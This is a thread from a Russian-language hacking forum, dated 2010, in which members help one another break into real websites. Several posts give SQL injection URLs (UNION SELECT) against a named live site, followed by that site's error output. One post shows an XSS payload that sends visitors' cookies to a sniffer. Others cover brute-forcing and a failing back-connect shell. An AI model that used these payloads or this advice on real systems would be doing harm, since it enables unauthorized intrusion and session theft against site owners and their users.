05.06.2010, 15:28
|
|
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
С нами:
9100556
Репутация:
912
|
|
Сообщение от haito
Hi Team;
http://www.ibuycc.com.cn/product.php?id=77'
этого сайта SQL ошибка. Я пытался использовать "union select" до 50, но не результатом
Можем ли мы "inject" этот сайт? 
Код:
http://www.ibuycc.com.cn/product.php?id=-77+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
хватит спрашивать одно и тоже. читай статьи и всё будет ясно
Сообщение от haito
К сожалению, не видел, любое проявление версия
Warning: mysql_free_result(): supplied argument is not a valid MySQL result resource in /home/ibuyccco/public_html/product.php on line 295
Warning: Cannot modify header information - headers already sent by (output started at /home/ibuyccco/public_html/product.php:27) in /home/ibuyccco/public_html/includes/lib.function.php on line 182
Warning: Cannot modify header information - headers already sent by (output started at /home/ibuyccco/public_html/product.php:27) in /home/ibuyccco/public_html/includes/lib.function.php on line 192
‹�����xÚí}ëwG¶ïçËZù ú(k]
так видно? О_о
Код:
http://www.ibuycc.com.cn/product.php?id=-77+union+select+1,2,3,4,version(),version(),7,version(),9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
Последний раз редактировалось .:[melkiy]:.; 05.06.2010 в 15:46..
|
|
|
05.06.2010, 15:40
|
|
Новичок
Регистрация: 27.05.2010
Сообщений: 13
С нами:
8399502
Репутация:
0
|
|
Сообщение от .:[melkiy]:.
Код:
http://www.ibuycc.com.cn/product.php?id=-77+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
Благодарю за ответ, но не отображать версии
Warning: mysql_free_result(): supplied argument is not a valid MySQL result resource in /home/ibuyccco/public_html/product.php on line 295
Warning: Cannot modify header information - headers already sent by (output started at /home/ibuyccco/public_html/product.php:27) in /home/ibuyccco/public_html/includes/lib.function.php on line 182
Warning: Cannot modify header information - headers already sent by (output started at /home/ibuyccco/public_html/product.php:27) in /home/ibuyccco/public_html/includes/lib.function.php on line 192
‹�����xÚí}ëwG¶ïçËZù ú(k]
Последний раз редактировалось haito; 05.06.2010 в 15:53..
|
|
|
|
05.06.2010, 16:09
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
С нами:
9154406
Репутация:
2221
|
|
Сообщение от haito
Благодарю за ответ, но не отображать версии
Warning: mysql_free_result(): supplied argument is not a valid MySQL result resource in /home/ibuyccco/public_html/product.php on line 295
Warning: Cannot modify header information - headers already sent by (output started at /home/ibuyccco/public_html/product.php:27) in /home/ibuyccco/public_html/includes/lib.function.php on line 182
Warning: Cannot modify header information - headers already sent by (output started at /home/ibuyccco/public_html/product.php:27) in /home/ibuyccco/public_html/includes/lib.function.php on line 192
‹�����xÚí}ëwG¶ïçËZù ú(k]
Убери пробелы...
|
|
|
|
05.06.2010, 15:21
|
|
Познающий
Регистрация: 03.05.2010
Сообщений: 51
С нами:
8434116
Репутация:
1
|
|
Сообщение от wkar
я еще не слышал об обходе такого
ПС
БрутЬ, брутЬ и еще раз ЬрутЪ
есть готовый брут под этот случай?
|
|
|
|
05.06.2010, 16:20
|
|
Познающий
Регистрация: 18.10.2009
Сообщений: 80
С нами:
8718197
Репутация:
11
|
|
Сообщение от youger
есть готовый брут под этот случай?
Попробуй этот: https://forum.antichat.ru/thread109600.html
|
|
|
|
05.06.2010, 12:21
|
|
Познающий
Регистрация: 29.08.2009
Сообщений: 75
С нами:
8789993
Репутация:
5
|
|
Подскажите пожалуйста.
На сайте при вводе вместо логина <script>alert()</script> выскакивает табличка. я так понял это xss. Покурили маны малеха ну так и не допёр. модифицирую запрос до
<sсriрt>img = new Image(); img.src = "путь до снифа?"+document.cookie;</sсriрt>
вставляю в то же поля и ничего не выскакивает. в чем прикол?
|
|
|
|
05.06.2010, 12:24
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
С нами:
9510146
Репутация:
1550
|
|
Прикол в том, что ничего и не выскочит, но куки отправятся на сниффер.
|
|
|
|
05.06.2010, 13:22
|
|
Познающий
Регистрация: 29.08.2009
Сообщений: 75
С нами:
8789993
Репутация:
5
|
|
Спасибо. буду разбираться. у меня сниф делюкс и мильти каника, что то не ловит куки.
|
|
|
|
05.06.2010, 13:39
|
|
Познающий
Регистрация: 18.10.2009
Сообщений: 80
С нами:
8718197
Репутация:
11
|
|
Что может мешать сделать бекконект ?Система freebsd 7.2.
Спасибо
|
|
|
|
05.06.2010, 13:51
|
|
Познающий
Регистрация: 29.08.2009
Сообщений: 75
С нами:
8789993
Репутация:
5
|
|
Может быть тот порт занят через который ты бэкконнект делаешь.
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для .:[melkiy]:.](/avatars/avatar74910.jpg?2187467){kind=avatar}
Похожие темы
Комбинированный вид
